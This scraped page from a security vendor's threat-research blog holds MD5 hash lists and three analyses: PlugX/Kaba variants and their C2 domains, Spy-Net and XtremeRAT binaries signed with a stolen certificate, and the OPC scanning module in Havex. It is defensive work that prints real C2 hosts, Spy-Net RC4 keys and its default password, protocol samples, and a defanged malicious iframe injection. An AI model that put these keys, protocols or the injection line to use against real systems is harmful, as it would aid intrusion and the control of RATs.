Backdoor.APT.Pgift

5e2360a8c4a0cce1ae22919d8bff49fd
f74a7a7f43dfce7ff2851baefe19ef63
05de3bfb5da1dcf08f9ca0bd589364bf
5e2360a8c4a0cce1ae22919d8bff49fd
79e48961d1ee982a466d222671a42ccb
bf95e89906b8a17fd611002660ffff32
ed35e43142b42b57f518197d930471d9
5e2360a8c4a0cce1ae22919d8bff49fd

Backdoor.APT.PittyTiger1.3

f65dc0b3eeb3c393e89ab49a3fac95a8

Backdoor.APT.Lurid

b72cf03822cd03a4923195cb7db9ac41
eb658d398ac54236564dd52b23943736
728d6d3c98b17de3261eaf76b9c3eb7a
735d37a1fde0f8d8924a70e9101c45b1
9712235ba979ef5a23db3ebdc41d9a02
d4be094c7f767fc6d9eda1665d536484

Backdoor.APT.PittyTiger

1097a30d91b0e8adaec8951fb639ffe0
1f7796e76427c96d57086fcf797518f7
0618961c6abf67670658c659a4b3897f
370e2ebe5d72678affd39264a0d2fedd
55e456339936a56c73a7883ea1ddb672
55e456339936a56c73a7883ea1ddb672
7fade5e7576cc72559c62660371279e8
fa53ca3339bb5619f6e39215a4697b52
1cea8afd101ab50087122231acf88407
26be2cbb00158dfab6c81976d93748e8
ce15fa3338b7fe780e85c511d5e49a98
a494010a51705f7720d3cd378a31733a

PoisonIvy

ae35a23cb418af084d10820bb0eae1d8
99a5fd0eba39efc9cba880d9629217e0
a2494e1e528c4a973232d027172bee44

Pacific Ring of Fire: PlugX / Kaba

| By , and | Advanced Malware, Targeted Attack, Threat Intelligence, Threat Research |
Comments
0

As depicted in earlier FireEye blogs, advanced cyber attacks are no strangers to the Asia Pacific region. In this blog, we take a deeper look at some of the advanced persistent threat (APT) malware that have significant presence in the APAC region, starting with PlugX (we detect it as Backdoor.APT.Kaba).

The PlugX / Kaba malware is a well-known remote access tool (RAT) believed to have been around for several years that continues to evolve itself in new attack campaigns. It is often seen used in APT campaigns alongside two other infamous RATs – PoisonIvy and Taidoor. For this blog, FireEye Labs has investigated PlugX samples discovered throughout 2013 as well as recent variants detected between January and June 2014. Countries on both sides of the Pacific incuding the United States as well as Northeast Asian countries such as South Korea, Hong Kong, Japan and Taiwan were most hit by this malware, with attacks spanning multiple industry verticals. The top 5 most targeted verticals include Technology, Aerospace / Defense, Entertainment / Media, Telecommunications and Government (Federal).

Figure 1: PlugX / Kaba Infections (by Country)

Figure 1: PlugX / Kaba Detections (by Country)

Table 1: Top 5 Affected Verticals

Table 1: Top 5 Affected Verticals

Delivering the Attacks

PlugX is most commonly distributed via an exploit, but may also be delivered using a RAR self-extracting executable. Amanda Stewart has written an excellent blog and paper about the common components of the PlugX / Kaba RAT and how it capitalizes on the DLL side-loading technique. In general, the RAT consists of DLL components that are injected into the process memory of svchost.exe. To deliver the DLL components, a “dropper” must first be executed through the use of an exploit, or via social-engineering tactics over e-mail or web to entice the victims to load an executable file.

Figure 2: Primary PlugX “Dropper” File Types

Figure 2: Primary PlugX “Dropper” File Types

While RTF files exploiting CVE-2012-0158 are nothing new, they are still most frequently used in the delivery of PlugX to its targets. The same vulnerability has also been exploited through Excel spreadsheets and Word document files. More recently, a Flash zero-day vulnerability has been exploited to deliver a PlugX payload.

Where an exploit is not used, RAR self-extracting executable (SFX) files were commonly used throughout 2013. These files often appear to have a Word or PDF icon and launch a decoy document that is displayed to the victim. The PlugX RAT is then loaded in the background without the user’s knowledge. While we have noticed a decrease in the use of this vector to deliver PlugX in 2014, it continues to be an effective technique for PlugX and other malware, so we do not expect its use to disappear entirely.

In the below example, the RAR SFX contains a script that loads the RAT (config.exe) and the decoy document (notice.doc).

Figure 3: RAR SFX Script and Files

Figure 3: RAR SFX Script and Files

Command and Control

We have found two dominant variants, SideBar and RasTLS, using 4 of the top 10 domains associated with the PlugX / Kaba command and control (C2) infrastructure. In fact, the 4 domains resolved to the same IP range based in Hong Kong likely operated by the same threat group(s).

Table 2: Top domains used in PlugX / Kaba Callbacks

Table 2: Top Domains used in PlugX / Kaba Callbacks

SideBar

The SideBar variant is delivered through RTF, Word and Excel files. Upon successfully exploitation, it drops “dw20.dll” to the %TEMP% folder. This “dw20.dll” continues to install the following files:

  • %ALLUSERS%\WS\Gadget.exe (MD5: 6b97b3cd2fcfb4b74985143230441463)
  • %ALLUSERS%\WS\SideBar.dll (MD5: 123e1841cc596c1f40e2e6693ea7dcac)
  • %ALLUSERS%\WS\SideBar.dll.doc (MD5: a0c93bdc089e1338cc392108a0e57f2f)

A service registry key is created to start “Gadget.exe” upon reboot of the infected system.
“Gadget.exe” is part of a benign “TENCENT Sidebar” application digitally signed by “Tencent Technology(Shenzhen) Company Limited “. Using the DLL-side loading method, a malicious version of“SideBar.dll” is loaded and executes the exported function “Main”.

“SideBar.dll” is a loader for “SideBar.dll.doc”, executing code at offset 0. “SideBar.dll.doc” decodes a part of its own data and is responsible for deflating a backdoor component. It spawns a new svchost.exe process and injects the backdoor into memory. This backdoor component remains only in memory, and is never saved to disk.

Figure 4: Decompressing Encoded Data

Figure 4: Decompressing Encoded Data

Version information can often be found in PlugX’s process memory. In SideBar, a DWORD value storing the internal version number was 0×20120123. The path names found in the deflated backdoor’s process memory indicating that this PlugX variant is version 6.0:

  • “d:\work\plug6.0(360)(gadget)”

The variant connects to fast.bacguarp.com and bbs.zuesinfo.com over port 8080.

RasTLS

While the RasTls variant is also dropped by document exploits, the dropped files are different. RasTls does not use the DLL side-loading method found in older variants [3]. The DWORD used to store the internal version number of RasTls was 0×20130810.

  • %ALLUSERS%\DRM\RasTls\RasTls.exe

“RasTls.exe” spawns “svchost.exe” and injects a deflated backdoor component into memory. The deflated backdoor component in memory contains a “XV” marker, instead of “MZ” and “PE” as found in regular Windows portal executable (PE) files. This is because “RasTls.exe” manually loads each section of deflated file into memory, so the file does not have to be a complete PE image.

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

The variant doesn’t contain strings implying version. The variant accept commands like as “ST1”, “ST2”, “TT1”,”TT2” which are different from version 6.

In memory space in the “svchost.exe”, we can see the decoded configuration information:

Figure 6: Decoded Configuration Information

Figure 6: Decoded Configuration Information

All RasTls variants have largely identical configuration and connects to scqf.bacguarp.com and scqf.zuesinfo.com over port 443. The “My_Name” mutex is also common to all RasTls variants.

PlugX Encryption Algorithm

PlugX has a variety of encryption algorithms used to encrypt its data across variants. However, the encryption style is largely similar as depicted in Figure 7.

Figure 7: PlugX Decryption Algorithm

Figure 7: PlugX Decryption Algorithm

In RasTls, the DWORD decryption key was found in the first four bytes of the encrypted string. It was also less aggressive in encrypting and hiding its data. In older variants such as “win3dx.DLL” (MD5: 7ADAE0335C9D6C9F3826CDE9747438B7), most API names were decrypted before loading and nullified after use. This makes understanding the malware slightly more difficult for malware analysts.

The supported functionalities are largely similar where it uses the identical command code. Below is a list of PlugX commands for file system manipulation:

  • 0×3000: GetDiskRelatedInformation
  • 0×3001: SearchDirectoryForFiles
  • 0×3002: SearchDirectoryRecursively
  • 0×3004: ReadFile
  • 0×3007: WriteFile
  • 0x300A: CreateDirectory
  • 0x300C: CreateWindowsDesktop
  • 0x300D: PerformSH_FileOperation
  • 0x300E: ExpandEnvironmentVariable

Some improvements were made by its developers. For example, the key logger function was updated to utilize the GetRawInputData API to collect keystrokes. “RegisterRawInputDevices” and “GetRawInputData” were two of the few API names that remain encrypted in RasTls.

Updated Key Logging Component

Figure 8: Updated Key Logging Component

PlugX / Kaba Trending

Figure 9 shows the trending of total PlugX / Kaba infections and their variants: SideBar and RasTLS. The spike in September 2013 was caused by SideBar. In 2014, we see SideBar and RasTLS on an inverse trend, with the latter on a steady increase.

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 10 shows the distribution of SideBar/RasTls variants by country. The C2 servers are located in Hong Kong, where much of the attacks have occurred. We also find a variety of countries targeted by these variants. In some of the exploit documents delivering these variants, the content revolves around the theme of NGOs and socio-political events in China and Japan. These are content that would likely be of interest to the victims who would be opening the documents.

Figure 10: Distribution of SideBar/RasTls Variants by Country

Figure 10: Distribution of SideBar/RasTls Variants by Country

Conclusion

The Asia Pacific region remains a highly attractive target of advanced cyber-attacks. Many threat groups have a particular in interest in this region, and are likely continue to launch new attacks against targets here. We recommend that users in this region block access to the above C2 servers. FireEye Labs will continue to monitor and report on new PlugX / Kaba developments.

 

The Little Signature That Could: The Curious Case of CZ Solution

| By and | Threat Intelligence, Threat Research |
Comments
0

Malware authors are always looking for new ways to masquerade their actions. Attackers are looking for their malware to be not only fully undetectable, but also appear valid on a system, so as not to draw attention. Digital signatures are one way malware authors keep under the radar. Digital signatures are an easy, quick way to verify the authenticity of an application utilizing the signature.

Threat actors routinely steal digital signing certificates to hide in plain sight. There are recent reports of banking Trojans such as Zeus, using valid signatures to get past both automated and human defenses. Part of performing accurate threat intelligence is continually looking to the past to help better predict the future. This is proven in the samples we will be discussing in this blog. Many of the samples throughout this blog are from the summer of 2013. These particular samples however, piqued our interest because of the mass distribution of RATs in a particular targeted region. It also reminded us of a recent XtremeRAT blog we published earlier in 2014.

The Little Signature That Could

While investigating an uptick in Spy-Net spam campaigns, we came across a malware binary that was digitally signed that struck our interest. Spy-Net allows an attacker to interact with the victim via a remote shell to upload/download files, interact with the registry, running processes and services as well as capture images of the desktop and record form the webcam and audio. It also contains functionality to extract saved passwords and turn the victim into a proxy server. During the build process, an attacker can choose to enable a keylogger and evasion functionality designed to stop the information process if a debugger or virtual machine is found.

We noticed that one of the Spy-Net binary files, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0), upon closer inspection, was utilizing a valid digital signature, from a company called CZ Solution Co. Ltd.

cz1

Figure 1: Signature Details of sc2.exe

Looking closer at the signature, we noticed that all of the details were intact, and appeared to be valid. There are two additional code-signing certificates issued to CZ Solution Co. Ltd.

cz2

Figure 2: Additional Signature Details

Investigation of sc2.exe showed typical Spy-Net behaviors. The sample beaconed out to ekinox.no-ip.info. From here, we decided to pivot off the CZ Solution signature and see what we could find.

Connections Emerge

As we started to pivot off the CZ Solution signature, we started to see some interesting commonalities. Pivoting proved that the CZ Solution signature was not just used in Spy-Net binaries. We quickly found that this signature was being used with XtremeRAT, a popular RAT that cybercriminals and targeted attackers use regularly. The code of XtremeRAT is shared amongst several other Delphi RAT projects including Spy-Net, CyberGate, and Cerberus.

XtremeRAT allows an attacker to:

  • Interact with the victim via a remote shell
  • Upload/download files
  • Interact with the registry
  • Manipulate running processes and services
  • Capture images of the desktop
  • Record from connected devices, such as a webcam or microphone

One binary for instance, m.exe (MD5: c27232691dacf4cff24a4d04b3b2896b) which was XtremeRAT, was seen beaconing out to http://omegaphotography.[co].uk, batardchris.servehttp.com /1234567890.functions, and www.batteurmag.com/[plugin].xtr.

Likewise, we saw multiple samples of the Zeus Trojan utilizing the CZ Solution signature. Zeus modifiers can tune Zeus to steal information they are interested in; typically login credentials for online social networks, e-mail accounts, online banking or other online financial services. Zeus is commonly seen targeting customers of financial institutions.

One of the Zeus samples, uk.exe (MD5: dcd3e45d40c8817061f716557e7a05b6) that was utilizing the CZ Solution signature, was beaconing out to claire-morin.com/file.php.

Looking at the three samples show that CZ Solution was used to create and sign Spy-Net, XtremeRAT, and Zeus samples. Graphing out the connections between the samples we profiled, you can quickly see how fast this web of similarities continue.

cz3Figure 3: Connection Profile of Binaries Using CZ Solution

The French Connection and C2 overlap

Attribution of actors and/or campaigns can often be a difficult and tedious task. However, since we were dealing with so many inter-twining binaries, we could start to draw some parallels between samples.

When looking at the overall connections between the CZ solution signature, you can start to see a trend emerge. First, there is some C2 overlap. For instance Dllsv.exe (MD5: 3f042fd6b9ce7e23b3c84c6f7323dd75) communicates out to ekinox.no-ip.info, using the same CZ Solution cert. This malware is flagged as BozokRAT; a user-friendly RAT that can upload and download files to and from a computer, modify registry entries, and perform other typical RAT functions. That same C2, ekinox.no-ip.info, is also seen used by the aforementioned Spy-Net binary, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0).

In another example of C2 overlap, a file named uk.exe, (MD5: 9c11ef09131a3373eef5c9d83802d56b) uses its C2 as omega-photography.co.uk. This sample is an active Zeus binary. That same C2 is used with a file named x.exe, (MD5: c27232691dacf4cff24a4d04b3b2896b), an active XtremeRAT binary.

Next, we needed to identify at least one infection vector to ensure we could track how one of the binaries using the CZ Solution signature was getting into environments.

In one case, we found the infection vector for an XtremeRAT binary that was using the CZ Solution certificate. The binary came in the form of phished email (MD5: 7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order.

cz4

The email was in French and the headers were interesting, as the same sender has been seen in multiple French spam runs.

cz5

The attachment in the email is using the RTLO trick to disguise a 7zip file as a PDF.

While looking at the all the samples we correlated and pivoted off of, we found that a majority of both the language and C2’s being used all revolved around the French language. The domains that were part of the C2 infrastructure were almost all exclusively French, as was the registrant information for the domains in question.

Spy-Net C2 Protocol Analysis

As we have already shared some analysis details of XtremeRAT in a previous blog, we decided to share some information and tools we built regarding Spy-Net this time. This information is based on our analysis of Spy-Net version 2.6 specifically. Other versions of Spy-Net may have significant changes to the protocol. Spy-Net 2.6 utilizes a homegrown protocol like many other publicly available RATs. It’s an ASCII based, pipe-delimited protocol utilizing Portuguese keywords that employs two totally different forms of obfuscation: one for outbound communication to the attacker and another for inbound communication to the implant. The outbound communications are compressed with zlib and encrypted with RC4. The RC4 key is hard-coded and is updated with version changes. For example, the RC4 key for Spy-Net 2.6 is njkvenknvjebcddlaknvfdvjkfdskv, while for CyberGate 1.07, which has a similar (if not the same) protocol the key is njgnjvejvorenwtrnionrionvironvrnvcg107 and CyberGate 1.18’s key is njgnjvejvorenwtrnionrionvironvrnvcg117.

The astute reader may have noticed that the last three numbers of the CyberGate keys (roughly) represent the version number of CyberGate. The inbound communication to the implant employs an ASCII encoding scheme similar to Base64. This protocol begins with a simple authentication scheme where the implant sends an authentication password that is validated by the client. This password is configurable by the attacker and defaults to abcd1234. The implant then proceeds to send the entirety of its configuration information, as configured by the attacker, to the client so it can be displayed on its “Configuration” tab.

Authentication

Implant->Client: mypassword|Y|

Configuration Request and Response

Client->Implant: configuracoesdoserver|

Implant->Client: configuracoesdoserver|configuracoesdoserver|192.168.1.2:81|#myID|mypassword|C:\WINDOWS\install\server.exe|C:\Program Files\Internet Explorer\iexplore.exe| | |{0OP8GNN1-GIWW-CC7M-AJ0I-6Y554UOJJ241}|Policies|FALSE|TRUE|TRUE|TRUE|***MUTEX***| | |TRUE|FALSE| | | | | | |FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|server.exe#crack.exe#|FALSE|

The outbound communications from the implant to the client are prepended with an ASCII representation of the length of the payload followed by a pipe character and a new line character.

cz6

There is a noticeable lack of sophistication in Spy-Net’s code. For example, in some cases the length indicator is followed by a pipe and a single new line (\n) character as seen in *nix based operating systems. In other cases, the indicator is followed by the carriage return and new line characters (\r\n), as seen in Windows operating systems. This lack of conformity is also witnessed in how there are two totally different schemes used for obfuscation, and in how obfuscation is not used for file transfers as it is otherwise used throughout the protocol.

Spy-Net Protocol Decoder

Since Spy-Net is a publicly available RAT that we see in use quite often, we decided to build a ChopShop module for it and share it in cooperation with our friends at MITRE. The module is now available as a standard part of the framework available on GitHub. We are also sharing a Spy-Net configuration dumping pycommand for Immunity Debugger. While hunting for related samples in VirusTotal, we came across a pcap that had captured the initial infection and subsequent communication of the Spy-Net binary we initially mentioned, (MD5: 6a56f6735f4b16a60f39b18842fd97d0). This gave us a great opportunity to test our new decoder. One thing that Spy-Net implants will commonly send out automatically is a thumbnail image of the user’s desktop. This is displayed on the client.

cz7

Our decoder can extract such images from the pcap and what we found gave us a further hint that we may be dealing with attacks focused in France. Although difficult to read due to the very low resolution of the thumbnail, our pcap decoder was able to tell us that the title of the browser window currently open in this screenshot is “Football - MAXIFOOT l’actualit foot et transfert - Windows Internet Explorer.”

cz8

Distribution via Malicious Java Applet

According to the details of the pcap we decoded, this French football Web site (maxifoot.fr) was apparently compromised and had an iframe inserted into it that pointed to another compromised Web site, a Canadian addiction recovery resource: unwasted.ca.

<iframe width=”1px” height=”1px” src=”hxxp://unwasted.ca/skins/index.html” style=”display: block;” ></iframe>

The latter site hosted a malicious Java applet that downloaded the Pony/Fareit malicious downloader. The downloader then proceeded to install ZeuS and download and execute the aforementioned Spy-Net binary. All of these binaries were signed with the stolen digital certificate. The malicious Java applet used to install the Pony downloader was created by Foxxy Software and had been previously written about by ESET.

RAT Configuration Details

We assembled a compilation of the meaningful configuration data found in the XtremeRAT and Spy-Net samples we came across in our analyses. You can observe some similarities between the samples’ configurations.

MD5 Version Dir/Path ID Group Mutex Password
f5e6c0a2c9000311513521947a76cb4b Spy-Net 2.6 C:\WINDOWS\system32\conhost\conhost.exe Updater2014 NA R5438NM5 abcd1234
6a56f6735f4b16a60f39b18842fd97d0 Spy-Net 2.6 C:\WINDOWS\system32\Winini\taskhost.exe Uframer NA A7TF5W abcd1234
7416ec2889227f046f48c15c45c102da XtremeRAT 3.5 Private InstallDir SpaM SPAM eyA8znpc NA
2e776e18dec61cf6ccd68fbacd55fab3 XtremeRAT 3.5 Private svhost Diesel Diesel lNFAH0 NA
be47ec66d861c35784da527bf0f2e03a XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH0 NA
c27232691dacf4cff24a4d04b3b2896b XtremeRAT 3.5 Private InstallDir IdSec idsection eyA8znpc NA
e79636e4c7418544d188a29481c100bb XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH04 NA
bd70a7cae3ebf85cf1edd9ee776d8364 XtremeRAT 3.5 Private svhost IdSec IdSec lNFAH0 NA
0be3b0e296be33903bf76b8cd9cf52ca XtremeRAT 3.5 Private svhost CiTa IdSec x4KybsbM NA

Conclusion

The usage of digital signatures isn’t going to decrease anytime soon- especially by threat actors. It gives them a quick, easy way to bypass traditional security controls since certificates and signatures are typically trusted by default. In this blog, we are shown that this trend still true. We looked towards the past in this blog, to better understand motivations and trends going forward. We can accurately say, based on the information attributed, that the CZ Solution signatures were being utilized by an individual or group of individuals using French assets and infrastructure.

These particular actors didn’t show a significant level of expertise, but did show collective resources with knowledge in at least Zeus, Spy-Net, and XtremeRAT. We can say accurately that it is likely these actor(s) were using the same signature to send out a wide range of binaries, possibly even outside of the realm of the four families discussed here. As we wrote this blog, we couldn’t help but be reminded of the spam run focused in Colombia and Central America that we wrote about back in February of this year. A spam run that is regionally focused, but with no apparent targeting in nature, utilizing a mix of ZeuS and off-the-shelf RATs.

Helping protect your organization from threats using valid digital signatures can include verification of the signature’s serial number. In this case, the serial number: 6e 7b 63 95 ac 5b 5c 8a 2a ec c4 52 8d 9e 65 10, is the identifier to locate in regards to this publisher. Also, if you’re running your own internal certificate authority, ensure you are adequately revoking certificates that may have been compromised. This will help ensure compromised certificates are not utilized in attacks.

 

Havex, It’s Down With OPC

| By | Targeted Attack, Threat Intelligence, Threat Research |
Comments
0

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1[3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno[1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers[2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer[1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll” file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function. The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions. Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking. The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

Screen Shot 2014-07-17 at 12.31.56 PM

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls. The encryption process uses an RSA public key obtained from the PE resource TYU. The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”. A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

00000000 32 39 0a 66 00 66 00 30 00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010 00 30 00 66 00 66 00 30 00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020 00 30 00 66 00 66 00 30 00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030 00 30 00 66 00 66 00 30 00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040 0a 31 32 38 0a 96 26 cc 34 93 a5 4a 09 09 17 d3 .128..&.4..J….00000050 e0 bb 15 90 e8 5d cb 01 c0 33 c1 a4 41 72 5f a5 …..]…3..Ar_.00000060 13 43 69 62 cf a3 80 e3 6f ce 2f 95 d1 38 0f f2 .Cib….o./..8..00000070 56 b1 f9 5e 1d e1 43 92 61 f8 60 1d 06 04 ad f9 V..^..C.a.`…..00000080 66 98 1f eb e9 4c d3 cb ee 4a 39 75 31 54 b8 02 f….L…J9u1T..00000090 b5 b6 4a 3c e3 77 26 6d 93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0 08 6a 22 89 b7 d3 72 d4 1f 8d b6 80 2b d2 99 5d .j”…r…..+..]000000B0 61 87 c1 0c 47 27 6a 61 fc c5 ee 41 a5 ae 89 c3 a…G’ja…A….000000C0 9e 00 54 b9 46 b8 88 72 94 a3 95 c8 8e 5d fe 23 ..T.F..r…..].#000000D0 2d fb 48 85 d5 31 c7 65 f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

-Truncated-Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72 94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

Screen Shot 2014-07-17 at 12.41.27 PM

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

Screen Shot 2014-07-17 at 12.43.48 PM

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant. We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References